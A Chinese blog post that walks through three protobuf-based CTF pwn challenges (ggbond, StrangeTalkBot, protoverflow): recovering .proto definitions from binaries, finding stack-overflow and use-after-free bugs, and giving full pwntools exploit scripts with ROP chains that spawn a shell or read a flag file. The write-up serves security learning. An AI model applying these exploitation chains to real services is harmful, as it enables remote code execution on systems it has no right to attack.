Loading

protobuf pwn题专项

protobuf pwn

准备工作

安装protobuf编译器

sudo apt-get install libprotobuf-dev protobuf-compiler  

安装python依赖库

pip3 install grpcio
pip3 install grpcio-tools googleapis-common-protos

安装pbtk

git clone https://github.com/marin-m/pbtk

ggbond

来自DubheCTF2024的一道GO protobuf题

提取proto文件

如果pbtk的图形化界面打不开,也可以用命令行,切换到pbtk的extractors目录下,输入下面命令进行提取

./from_binary.py input_file [output_dir]

得到ggbond.proto

syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
    rpc Handler(Request) returns (Response);
}

message Request {
    oneof request {
        WhoamiRequest whoami = 100;
        RoleChangeRequest role_change = 101;
        RepeaterRequest repeater = 102;
    }
}

message Response {
    oneof response {
        WhoamiResponse whoami = 200;
        RoleChangeResponse role_change = 201;
        RepeaterResponse repeater = 202;
        ErrorResponse error = 444;
    }
}

message WhoamiRequest {
    
}

message WhoamiResponse {
    string message = 2000;
}

message RoleChangeRequest {
    uint32 role = 1001;
}

message RoleChangeResponse {
    string message = 2001;
}

message RepeaterRequest {
    string message = 1002;
}

message RepeaterResponse {
    string message = 2002;
}

message ErrorResponse {
    string message = 4444;
}

切到.proto文件的目录,输入下面命令

python3 -m grpc_tools.protoc -I . --python_out=. --grpc_python_out=. ggbond.proto

编译得到py文件

分析程序逻辑

IDA定位到程序main_main入口

image

grpc创建服务这里能看到ptr_main_server,跟进可以发现main__ptr_server_Handler,结合proto文件可知这个是rpc业务逻辑处理函数,也就是我们主要分析的代码

根据逆向可以得到程序的大致逻辑:

程序有三种消息格式:

  • Whoami:打印当前的规则
  • RoleChange:更改当前的规则(一共有四种规则,0到3)
  • Repeater:发送信息 ,但仅在规则3下服务器才处理收到的信息

导入依赖文件,写出交互函数

import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"

def who():
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
    response = stub.Handler(request)
    print("Response from Handler:", response)

def Role(ty):
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
    response = stub.Handler(request)
    print("Response from Handler:", response)

def Rep(data):
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
    stub.Handler(request)

接下来我们看规则3下服务器是如何处理发送的信息的

image

将发送的信息base64解码之后有个栈上的copy,很明显这里有溢出,v47指向栈上的变量v73,得到溢出偏移为0xC8

image

接下来就是常规go题的ret2syscall了

exp脚本

提供了shell和ORW两种打法

from pwn import *
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"

def who():
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
    response = stub.Handler(request)
    print("Response from Handler:", response)

def Role(ty):
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
    response = stub.Handler(request)
    print("Response from Handler:", response)

def Rep(data):
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
    stub.Handler(request)

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./ggbond"
p = process(file)
elf = ELF(file)

#gdb.debug(file, "b *0x7EE028\nb *0x7ED9D9")

Role(3)
rax = 0x00000000004101e6
rdi = 0x0000000000401537
rsi = 0x0000000000422398
rdx = 0x0000000000461bd1
syscall = 0x000000000040452c

# ROPgadget --string "flag\x00" --binary ggbond
flag = 0x00000000007f95ba
buf = elf.bss(0x800)

# system
rop = b'a'*0x68 + b'\x00'*0x60
rop += p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(59) + p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)

# ORW
""" rop = b'a'*0xc8
rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
rop += p64(rax) + p64(0) + p64(rdi) + p64(8) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall) """

p.send('/bin/sh\x00')
try:
    Rep(base64.b64encode(rop))
except:
    p.interactive()

StrangeTalkBot

一道CISCN2023初赛的C protobuf堆题,我觉得难点更多是在逆向部分(还原proto内容)

还原proto文件

查看主函数

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned __int64 v3; // [rsp+0h] [rbp-10h]
  char *v4; // [rsp+8h] [rbp-8h]

  sub_1763();
  while ( 1 )
  {
    memset(byte_A060, 0, sizeof(byte_A060));
    puts("You can try to have friendly communication with me now: ");
    v3 = read(0, byte_A060, 0x400uLL);
    v4 = sub_192D(0LL, v3, byte_A060);
    if ( !v4 )
      break;
    sub_155D(*(v4 + 3), *(v4 + 4), *(v4 + 5), *(v4 + 6), *(v4 + 7));
  }
  sub_1329();
}

循环read读到byte_A060,然后函数sub_192D处理读入的字节。跟进可以发现sub_192D就是解析protobuf字节流的函数,返回对应的C结构体

为了理解protobuf在c是如何工作的,我下载了protobuf-c编译器以及protobuf-c的git项目(这里是为了获得一些关键的头文件定义

sudo apt install protobuf-c-compiler
git clone https://github.com/protobuf-c/protobuf-c.git

接着我定义了一个测试proto文件并编译得到.h和.c文件

syntax = "proto2";

message testMessage {
    required string name = 1;
    required sint64 id = 2;
    required bytes buffer = 3;
    required uint32 size = 4;
}

test.pb-c.h

/* Generated by the protocol buffer compiler.  DO NOT EDIT! */
/* Generated from: test.proto */

#ifndef PROTOBUF_C_test_2eproto__INCLUDED
#define PROTOBUF_C_test_2eproto__INCLUDED

#include <protobuf-c/protobuf-c.h>

PROTOBUF_C__BEGIN_DECLS

#if PROTOBUF_C_VERSION_NUMBER < 1000000
# error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers.
#elif 1003003 < PROTOBUF_C_MIN_COMPILER_VERSION
# error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c.
#endif


typedef struct _TestMessage TestMessage;


/* --- enums --- */


/* --- messages --- */

struct  _TestMessage
{
  ProtobufCMessage base;
  char *name;
  int64_t id;
  ProtobufCBinaryData buffer;
  uint32_t size;
};
#define TEST_MESSAGE__INIT \
 { PROTOBUF_C_MESSAGE_INIT (&test_message__descriptor) \
    , NULL, 0, {0,NULL}, 0 }


/* TestMessage methods */
void   test_message__init
                     (TestMessage         *message);
size_t test_message__get_packed_size
                     (const TestMessage   *message);
size_t test_message__pack
                     (const TestMessage   *message,
                      uint8_t             *out);
size_t test_message__pack_to_buffer
                     (const TestMessage   *message,
                      ProtobufCBuffer     *buffer);
TestMessage *
       test_message__unpack
                     (ProtobufCAllocator  *allocator,
                      size_t               len,
                      const uint8_t       *data);
void   test_message__free_unpacked
                     (TestMessage *message,
                      ProtobufCAllocator *allocator);
/* --- per-message closures --- */

typedef void (*TestMessage_Closure)
                 (const TestMessage *message,
                  void *closure_data);

/* --- services --- */


/* --- descriptors --- */

extern const ProtobufCMessageDescriptor test_message__descriptor;

PROTOBUF_C__END_DECLS


#endif  /* PROTOBUF_C_test_2eproto__INCLUDED */

test.pb-c.c

/* Generated by the protocol buffer compiler.  DO NOT EDIT! */
/* Generated from: test.proto */

/* Do not generate deprecated warnings for self */
#ifndef PROTOBUF_C__NO_DEPRECATED
#define PROTOBUF_C__NO_DEPRECATED
#endif

#include "test.pb-c.h"
void   test_message__init
                     (TestMessage         *message)
{
  static const TestMessage init_value = TEST_MESSAGE__INIT;
  *message = init_value;
}
size_t test_message__get_packed_size
                     (const TestMessage *message)
{
  assert(message->base.descriptor == &test_message__descriptor);
  return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
}
size_t test_message__pack
                     (const TestMessage *message,
                      uint8_t       *out)
{
  assert(message->base.descriptor == &test_message__descriptor);
  return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
}
size_t test_message__pack_to_buffer
                     (const TestMessage *message,
                      ProtobufCBuffer *buffer)
{
  assert(message->base.descriptor == &test_message__descriptor);
  return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
}
TestMessage *
       test_message__unpack
                     (ProtobufCAllocator  *allocator,
                      size_t               len,
                      const uint8_t       *data)
{
  return (TestMessage *)
     protobuf_c_message_unpack (&test_message__descriptor,
                                allocator, len, data);
}
void   test_message__free_unpacked
                     (TestMessage *message,
                      ProtobufCAllocator *allocator)
{
  if(!message)
    return;
  assert(message->base.descriptor == &test_message__descriptor);
  protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
}
static const ProtobufCFieldDescriptor test_message__field_descriptors[4] =
{
  {
    "name",
    1,
    PROTOBUF_C_LABEL_REQUIRED,
    PROTOBUF_C_TYPE_STRING,
    0,   /* quantifier_offset */
    offsetof(TestMessage, name),
    NULL,
    NULL,
    0,             /* flags */
    0,NULL,NULL    /* reserved1,reserved2, etc */
  },
  {
    "id",
    2,
    PROTOBUF_C_LABEL_REQUIRED,
    PROTOBUF_C_TYPE_SINT64,
    0,   /* quantifier_offset */
    offsetof(TestMessage, id),
    NULL,
    NULL,
    0,             /* flags */
    0,NULL,NULL    /* reserved1,reserved2, etc */
  },
  {
    "buffer",
    3,
    PROTOBUF_C_LABEL_REQUIRED,
    PROTOBUF_C_TYPE_BYTES,
    0,   /* quantifier_offset */
    offsetof(TestMessage, buffer),
    NULL,
    NULL,
    0,             /* flags */
    0,NULL,NULL    /* reserved1,reserved2, etc */
  },
  {
    "size",
    4,
    PROTOBUF_C_LABEL_REQUIRED,
    PROTOBUF_C_TYPE_UINT32,
    0,   /* quantifier_offset */
    offsetof(TestMessage, size),
    NULL,
    NULL,
    0,             /* flags */
    0,NULL,NULL    /* reserved1,reserved2, etc */
  },
};
static const unsigned test_message__field_indices_by_name[] = {
  2,   /* field[2] = buffer */
  1,   /* field[1] = id */
  0,   /* field[0] = name */
  3,   /* field[3] = size */
};
static const ProtobufCIntRange test_message__number_ranges[1 + 1] =
{
  { 1, 0 },
  { 0, 4 }
};
const ProtobufCMessageDescriptor test_message__descriptor =
{
  PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
  "testMessage",
  "TestMessage",
  "TestMessage",
  "",
  sizeof(TestMessage),
  4,
  test_message__field_descriptors,
  test_message__field_indices_by_name,
  1,  test_message__number_ranges,
  (ProtobufCMessageInit) test_message__init,
  NULL,NULL,NULL    /* reserved[123] */
};

生成的代码有点冗长,对逆向有帮助的主要在test.pb-c.c文件里面,声明了很多静态全局变量,例如描述消息字段的test_message__field_indices_by_name数组以及描述消息的全局变量test_message__descriptor,其中描述消息的全局变量第一个成员是常量PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC = 0x28AAEEF9,用IDA全局搜索该常量

image

很明显在我们要找的是在数据段的结果,而在该常量上面就是我们需要的消息字段描述结构体数组

现在我们知道描述消息中单个字段的结构体叫ProtobufCFieldDescriptor,从这个结构体中我们能提取到ProtobufCLabelProtobufCType这两个重要的枚举类型,下面的代码同时也给出了ProtobufCFieldDescriptor的结构体定义,我们将这三个结构体导入到IDA中

enum ProtobufCLabel
{
  PROTOBUF_C_LABEL_REQUIRED = 0x0,      ///< A well-formed message must have exactly one of this field.
  PROTOBUF_C_LABEL_OPTIONAL = 0x1,      ///< A well-formed message can have zero or one of this field (but not
                                        ///< more than one).
  PROTOBUF_C_LABEL_REPEATED = 0x2,      ///< This field can be repeated any number of times (including zero) in a
                                        ///< well-formed message. The order of the repeated values will be
                                        ///< preserved.
  PROTOBUF_C_LABEL_NONE = 0x3,          ///< This field has no label. This is valid only in proto3 and is
                                        ///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
};

enum ProtobufCType
{
  PROTOBUF_C_TYPE_INT32 = 0x0,          ///< int32
  PROTOBUF_C_TYPE_SINT32 = 0x1,         ///< signed int32
  PROTOBUF_C_TYPE_SFIXED32 = 0x2,       ///< signed int32 (4 bytes)
  PROTOBUF_C_TYPE_INT64 = 0x3,          ///< int64
  PROTOBUF_C_TYPE_SINT64 = 0x4,         ///< signed int64
  PROTOBUF_C_TYPE_SFIXED64 = 0x5,       ///< signed int64 (8 bytes)
  PROTOBUF_C_TYPE_UINT32 = 0x6,         ///< unsigned int32
  PROTOBUF_C_TYPE_FIXED32 = 0x7,        ///< unsigned int32 (4 bytes)
  PROTOBUF_C_TYPE_UINT64 = 0x8,         ///< unsigned int64
  PROTOBUF_C_TYPE_FIXED64 = 0x9,        ///< unsigned int64 (8 bytes)
  PROTOBUF_C_TYPE_FLOAT = 0xA,          ///< float
  PROTOBUF_C_TYPE_DOUBLE = 0xB,         ///< double
  PROTOBUF_C_TYPE_BOOL = 0xC,           ///< boolean
  PROTOBUF_C_TYPE_ENUM = 0xD,           ///< enumerated type
  PROTOBUF_C_TYPE_STRING = 0xE,         ///< UTF-8 or ASCII string
  PROTOBUF_C_TYPE_BYTES = 0xF,          ///< arbitrary byte sequence
  PROTOBUF_C_TYPE_MESSAGE = 0x10,       ///< nested message
};

struct ProtobufCFieldDescriptor {
	/** Name of the field as given in the .proto file. */
	const char		*name;
	/** Tag value of the field as given in the .proto file. */
	uint32_t		id;
	/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
	ProtobufCLabel		label;
	/** The type of the field. */
	ProtobufCType		type;
	/**
	 * The offset in bytes of the message's C structure's quantifier field
	 * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
	 * for repeated members or the case enum for oneofs).
	 */
	unsigned		quantifier_offset;
	/**
	 * The offset in bytes into the message's C structure for the member
	 * itself.
	 */
	unsigned		offset;
	const void		*descriptor; /* for MESSAGE and ENUM types */
	/** The default value for this field, if defined. May be NULL. */
	const void		*default_value;
	uint32_t		flags;
	/** Reserved for future use. */
	unsigned		reserved_flags;
	/** Reserved for future use. */
	void			*reserved2;
	/** Reserved for future use. */
	void			*reserved3;
};

然后还原消息字段描述结构体数组

image

由此可以还原出程序的proto文件如下

syntax = "proto2";

message Devicemsg {
    required sint64 actionid = 1;
    required sint64 msgidx = 2;
    required sint64 msgsize = 3;
    required bytes msgcontent = 4;
}

最后用protoc编译该proto文件为py代码

可知sub_192D处理后返回的C语言结构体布局如下

struct  _Devicemsg
{
  ProtobufCMessage base;  //这个在IDA导入时可以用 unint64_t base[3]; 代替
  int64_t actionid;
  int64_t msgidx;
  int64_t msgsize;
  ProtobufCBinaryData msgcontent;
};

struct ProtobufCBinaryData {
	size_t	len;        /**< Number of bytes in the `data` field. */
	uint8_t	*data;      /**< Data bytes. */
};

将该结构体导入IDA,设置main函数v4的类型为Devicemsg*

image

分析程序逻辑

看NSS讨论区说是2.31-0ubuntu9.9_amd64,glibc all in one没能找到这个版本,所以用的是2.31-0ubuntu9.15_amd64,虽然版本存在小差异,但思路是差不多的

常规的堆题菜单且delete存在UAF

存在这些限制:

  • 只能创建 0x21 个堆
  • 堆的大小和msgcontent长度不能超过 0xf1
  • 程序开启了沙盒禁用了execve调用

因为禁用了execve,所以不能打ogg或者system

image

利用思路也很清晰:

  • 填满tcache然后再free一个堆到unsorted bin,通过UAF leak出libc
  • 写free_hook利用magic_gadget进行栈迁移
  • 打ORW ROP

exp脚本

from pwn import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./service"
libc = "./libc.so.6"
#cmd = ""

#p = gdb.debug(file, cmd)
p = process(file)
elf = ELF(file)
libc = ELF(libc)
#p = remote("node4.anna.nssctf.cn", 28245)
import message_pb2

def add(i,s,c):
        msg = message_pb2.Devicemsg()
        msg.actionid = 1
        msg.msgidx = i
        msg.msgsize = s
        msg.msgcontent = c
        sa(': \n',msg.SerializeToString())
def free(i):
        msg = message_pb2.Devicemsg()
        msg.actionid = 4
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = b''
        sa(': \n',msg.SerializeToString())
def show(i):
        msg = message_pb2.Devicemsg()
        msg.actionid = 3
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = b''
        sa(': \n',msg.SerializeToString())
def edit(i,c):
        msg = message_pb2.Devicemsg()
        msg.actionid = 2
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = c
        sa(': \n',msg.SerializeToString())

for i in range(8):
        add(i,0xf0,b'')
for i in range(8):
        free(i)

show(7)
rc(0x50)
libc_base = uu64()-0x1ecbe0
lg("libc_base", libc_base)
show(0)
rc(8)
heap_base = uu64() - 0x10
lg('heap_base',heap_base)

pop_rdi_ret = libc_base+0x0000000000023b6a
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_r12_ret = libc_base+0x0000000000119431
pop_rax_ret = libc_base+0x0000000000036174
syscall_ret = libc_base+0x00000000000630a9

payload = p64(libc_base+libc.sym["__free_hook"]) + flat([
        libc_base+0x0000000000025b9b,
        0,
        heap_base+0xad0,
        pop_rdi_ret,
        heap_base+0xad0,
        pop_rsi_ret,
        0,
        pop_rdx_r12_ret,
        0,
        0,
        pop_rax_ret,
        2,
        syscall_ret, # open
        pop_rdi_ret,
        3,
        pop_rsi_ret,
        heap_base+0xad0,
        pop_rdx_r12_ret,
        0x30,
        0,
        pop_rax_ret,
        0,
        syscall_ret, # read
        pop_rdi_ret,
        1,
        pop_rax_ret,
        1,
        syscall_ret, # write
])
edit(6, payload)
debug("b *$rebase(0x1561)")
payload = flat({
        0x00: 0x67616c662f2e, # ./flag
        0x28: libc_base+0x00000000000578c8,
        0x48: heap_base+0xfa0
}).ljust(0x50, b'\x00')
add(8, 0xf0, payload)
magic_gadget = libc_base+0x15500A
"""
mov     rbp, [rdi+48h]
mov     rax, [rbp+18h]
lea     r13, [rbp+10h]
mov     dword ptr [rbp+10h], 0
mov     rdi, r13
call    qword ptr [rax+28h]
"""
add(9,0xf0,p64(magic_gadget))
free(8)

inter()

protoverflow

CISCN2024 华中半决赛的题,C++ protobuf题,题目不难溢出点很明显,可惜当时因为python环境有问题导致没能写出来(哭哭

提取protobuf文件

和GO语言那道一样直接脚本提取得到proto文件

syntax = "proto2";

message protoMessage {
    optional string name = 1;
    optional string phoneNumber = 2;
    required bytes buffer = 3;
    required uint32 size = 4;
}

分析程序逻辑

主函数很简单,先泄露libc然后读取用户输入,再解析protobuf流

image

之后的处理函数中memcpy存在很明显的栈溢出,直接打ret2libc即可

image

exp脚本

from pwn import *
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

import message_pb2
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = './pwn'
p = process([file], env= {"LD_LIBRARY_PATH":"./"})
elf = ELF(file)
libc = ELF(p.libc.path)

# debug('b *$rebase(0x332f)')

ru(b'0x')
libc_base = int(rc(12), 16) - libc.sym['puts']
lg('libc_base', libc_base) 
rdi = libc_base + 0x000000000002a3e5
ret = rdi + 1
system, binsh = get_sb()

pl = b'a'*0x218
pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
msg = message_pb2.protoMessage()
msg.name="1"
msg.phoneNumber="2"
msg.buffer = pl
msg.size = len(pl)
serialized_msg = msg.SerializeToString()
sd(serialized_msg)
inter()

参考文章:python基础--protobuf的使用(一)_protobuf py-CSDN博客

【Python进阶学习】gRPC的基本使用教程_grpc 同一个链接 保持变量参数-CSDN博客

posted @ 2024-08-03 23:37  S1nyer  阅读(155)  评论(2编辑  收藏  举报